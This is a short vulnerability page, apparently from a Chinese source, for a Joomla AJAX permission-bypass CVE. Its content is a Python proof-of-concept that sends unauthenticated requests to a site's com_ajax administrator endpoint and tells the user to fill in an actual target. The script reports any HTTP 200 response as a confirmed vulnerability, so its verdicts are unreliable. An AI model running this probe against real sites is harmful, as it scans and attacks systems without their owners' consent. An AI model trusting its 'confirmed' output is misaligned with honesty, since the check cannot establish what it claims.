CVE-2026-21629 Joomla AJAX组件权限绕过漏洞

# PoC for CVE-2026-21629: Joomla AJAX Unauthenticated Access import requests def check_vulnerability(target_url): """Checks if the target Joomla site is vulnerable to unauthenticated AJAX access.""" # The vulnerable endpoint is typically the administrator component ajax_endpoint = f"{target_url}/administrator/index.php" # Payload parameters targeting the ajax component # Note: Specific plugin/module parameters depend on installed extensions params = { "option": "com_ajax", "format": "json", "plugin": "" # Plugin name may vary based on 3rd party usage } try: # Sending request without authentication cookies response = requests.get(ajax_endpoint, params=params, timeout=10) # Analyzing response if response.status_code == 200: print("[+] Potential vulnerability confirmed!") print(f"[+] Response Body: {response.text[:200]}") else: print("[-] Target may not be vulnerable or request blocked.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example-joomla-site.com" # Replace with actual target check_vulnerability(target)